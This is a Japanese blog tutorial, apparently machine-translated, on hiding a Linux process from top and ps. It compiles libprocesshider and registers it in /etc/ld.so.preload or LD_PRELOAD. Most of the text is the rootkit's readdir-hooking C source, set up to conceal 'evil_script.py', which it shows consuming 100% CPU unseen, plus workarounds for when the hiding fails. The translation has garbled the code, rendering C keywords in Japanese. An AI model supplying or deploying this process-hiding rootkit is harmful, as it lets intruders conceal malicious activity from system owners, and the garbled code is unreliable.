Linux でプロセスを隠す方法と、遭遇する落とし穴

Linux でプロセスを隠す方法と、遭遇する落とし穴

序文

1. この記事で使用したツールは、https://github.com/gianlucaborello/libprocesshider からダウンロードできます。

2. LD_PRELOADを使ってシステム機能を乗っ取るというアイデア

LD_PRELOAD とは何ですか?

LD_PRELOAD は Linux システムの環境変数であり、プログラムのランタイム リンク (ランタイム リンカー) に影響を与える可能性があります。プログラムの実行前に最初にロードされるダイナミック リンク ライブラリを定義できます。この関数は主に、異なるダイナミック リンク ライブラリ内の同じ関数を選択的にロードするために使用されます。この環境変数を通じて、メインプログラムとそのダイナミック リンク ライブラリの間に他のダイナミック リンク ライブラリをロードしたり、通常の関数ライブラリを上書きしたりすることもできます。一方で、この機能を使用すると、独自の機能やより優れた機能(他の人のソース コードを必要とせずに)を使用でき、他方では、特定の目的を達成するために他の人のプログラムにプログラムを挿入することもできます。

成し遂げる

1. プログラムをダウンロードしてコンパイルする

bmfxgkpt-yhd:~# git クローン https://github.com/gianlucaborello/libprocesshider.git
'libprocesshider' にクローンしています...
リモート: オブジェクトをカウントしています: 26、完了。
リモート: 合計 26 (デルタ 0)、再利用 0 (デルタ 0)、パック再利用 26
オブジェクトの解凍: 100% (26/26)、完了。
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# 作成
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. ファイルを/usr/local/lib/ディレクトリに移動する

mv libprocesshider.so /usr/local/lib/

3. グローバルダイナミックリンカーにロードする

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

テスト

1. evil_script.pyを実行します

2. この時点で、evil_script.pyはtopとpsでは見つからないことがわかります。

この時点でCPU使用率は100%でしたが、CPUを多く占有しているプログラムは見つかりませんでした。

分析する

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <文字列.h>
#include <unistd.h>
/*
 * この名前のすべてのプロセスが除外されます
 */
静的 const char* process_to_filter = "evil_script.py";
/*
 * DIR* ハンドルを指定してディレクトリ名を取得します
 */
静的 int get_dir_name(DIR* dirp, char* buf, size_t サイズ)
{
  int fd = dirfd(dirp);
  もしfd == -1の場合{
    0を返します。
  }
  文字tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    0を返します。
  }
  バッファ[ret] = 0;
  1 を返します。
}
/*
 * PIDを指定してプロセス名を取得する
 */
静的 int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    0を返します。
  }
  文字tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  ファイル* f = fopen(tmp, "r");
  if(f == NULL) {
    0を返します。
  }
  (fgets(tmp, sizeof(tmp), f) == NULL)の場合{
    fclose() メソッド
    0を返します。
  }
  fclose() メソッド
  int 未使用;
  sscanf(tmp, "%d (%[^]s", &unused, buf);
  1 を返します。
}
#DECLARE_READDIR(dirent, readdir) を定義します \
静的構造体 dirent* (*original_##readdir)(DIR*) = NULL; \
構造体 dirent* readdir(DIR *dirp) \
{\
  if(original_##readdir == NULL) { \
    元の_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    if(original_##readdir == NULL) \
    {\
      fprintf(stderr, "dlsym でエラーが発生しました: %s\n", dlerror()); \
    } \
  } \
  構造体 dirent* dir; \
  (1) \ の間
  {\
    dir = original_##readdir(dirp); \
    if(dir) { \
      char dir_name[256]; \
      char プロセス名[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, プロセス名) && \
        strcmp(プロセス名, フィルターするプロセス) == 0) { \
        続く; \
      } \
    } \
    壊す; \
  } \
  ディレクトリを返す; \
}
READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

1. プログラムは、どのプロセス名が表示されないかを制御するために変数process_to_filterを定義します。

2. readdirを書き換える。

strcmp(process_name, process_to_filter) == 0)

現在のプロセス名が process_to_filter と同じであることがわかったら、ループを続行します。

遭遇した落とし穴

1. このプログラムは一部のLinuxシステムではコンパイルできません

回避策

最後の2行のうち1行を削除

READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

2. 一部のLinuxで使用されている

シェルエコー /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
有効になりません。この時点で、環境変数shell bmfxgkpt-yhd:~# vi /etc/profileを設定する必要があります。
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so という行を追加します。

要約する

上記は、編集者が紹介した Linux でプロセスを隠す方法と、遭遇した落とし穴です。皆様のお役に立てれば幸いです。ご質問がある場合は、メッセージを残してください。編集者がすぐに返信します。また、123WORDPRESS.COM ウェブサイトをサポートしてくださっている皆様にも感謝申し上げます。

以下もご興味があるかもしれません:
  • 1行のコードでLinuxのプロセスを隠す方法を学ぶ

<<:  Nodejs で WeChat アカウント分割を実装するためのサンプルコード

>>:  CentOS7 (YUM) での MySQL 5.7 のインストールと設定のチュートリアル

推薦する

Linux の Docker コンテナで bash を終了する 2 つの方法

bash を終了する場合は、次の 2 つのオプションがあります。最初のもの: Ctrl + d を押...

MySQL 8.0.22 圧縮パッケージの完全なインストールと構成のチュートリアル図 (テスト済みで効果的)

1. zipインストールパッケージをダウンロードするMySQL サーバー 8.0.22 の圧縮パッ...

IE6 スペースバグ修正方法

コードを見てみましょう:コードをコピーコードは次のとおりです。 < !DOCTYPE html...

MySQL マスタースレーブレプリケーションの実装手順

目次mysql マスタースレーブレプリケーションMySQL マスタースレーブレプリケーション方式My...

CSS属性のデフォルト値width: autoとwidth: 100%の違いの詳細な説明

幅: 自動子要素(コンテンツ+パディング+境界線+余白を含む)は、親要素のコンテンツ領域全体を埋めま...

Linux での Apache サービスの展開と構成

目次1 Apacheの役割2 Apacheのインストール3. Apacheを有効にする4 Apach...

CSS スタイルにおける中国語フォントのフォントファミリーに対応する英語名の詳細な説明

ソングティ: SimSun太字: SimHeiマイクロソフト YaHei: マイクロソフト YaHe...

MySQLのインストールと設定に関する詳細なチュートリアル

目次インストール不要のMySQLバージョン1. インストール パッケージをダウンロードします。 2....

JavaScript イベントバブリング、イベントキャプチャ、イベント委任の詳細な説明

1. イベントバブリング: JavaScript イベント伝播のプロセスでは、要素でイベントがトリガ...

MySQL SQL ステートメントのパフォーマンス チューニングの簡単な例

MySQL SQL ステートメントのパフォーマンス チューニングの簡単な例サーバー開発を行う際には、...

HTML内の画像はbase64でエンコードされた文字列に直接置き換えられます

最近、画像はあるのに外部画像リソースが参照されていないウェブページを見つけました。気になりました。コ...

LinuxでRPMを使用してmysql5.7.17をインストールする

LinuxでのMySQL5.7 rpmのインストール方法を参考までに記録します。具体的な内容は以下の...

レスポンシブWebデザイン学習(2) — 動画をレスポンシブにすることはできるのか?

前回のエピソードレビュー:昨日は、ページがさまざまなデバイス サイズにどのように対応するかについて説...

サーバー上でjupyterノートブックを実行する問題を解決する

目次サーバーはjupyterノートブックを実行します仮想環境次にファイアウォールをオフにしますJup...

Docker クロスホストネットワーク (オーバーレイ) の実装

1. Dockerのホスト間通信Docker クロスホスト ネットワーク ソリューションには以下が含...